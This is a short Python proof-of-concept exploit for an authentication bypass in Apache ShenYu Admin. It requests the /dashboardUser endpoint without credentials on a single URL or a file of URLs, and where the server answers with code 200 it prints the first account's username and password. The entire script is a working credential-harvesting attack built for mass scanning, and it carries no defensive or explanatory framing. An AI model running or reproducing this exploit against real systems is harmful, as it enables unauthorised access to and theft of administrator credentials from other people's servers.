Apache ShenYu Admin authentication bypass vulnerability_Poc.py

# -*- coding:utf-8 -*-
# -*- author:Zoro -*-

import requests
import json
import os
import validators
import argparse

def getoutPut(Url):

    Poc_url = Url + "/dashboardUser"

    try:

        req = requests.get(Poc_url)

        try:

            Code = req.json()["code"]

        except:

            print(f"[-]{Url.ljust(30)} -- No Vulnerability")

            return False

        if Code == 200:

            jg = req.json()["data"]["dataList"]

            User = jg[0]["userName"]

            Pass = jg[0]["password"]

            print(f"[+]{Url.ljust(30)} -- The target is Vulnerability: {User} {Pass}")

        else:

            print(f"[-]{Url.ljust(30)} -- Not Vulnerability!")

            return False

    except:

        print(f"[-]{Url.ljust(30)} -- 连接失败")

        return False

if __name__ == "__main__":

    msg = input("[+]请输入接收数据（file.txt/url）：")

    if os.path.isfile(msg):

        with open(msg, "r") as f:

            for i in f.readlines():

                getoutPut(i.strip())

    elif validators.url(msg) == True:

        getoutPut(msg)

    else:

        print("[-]您输入的URL格式有误！")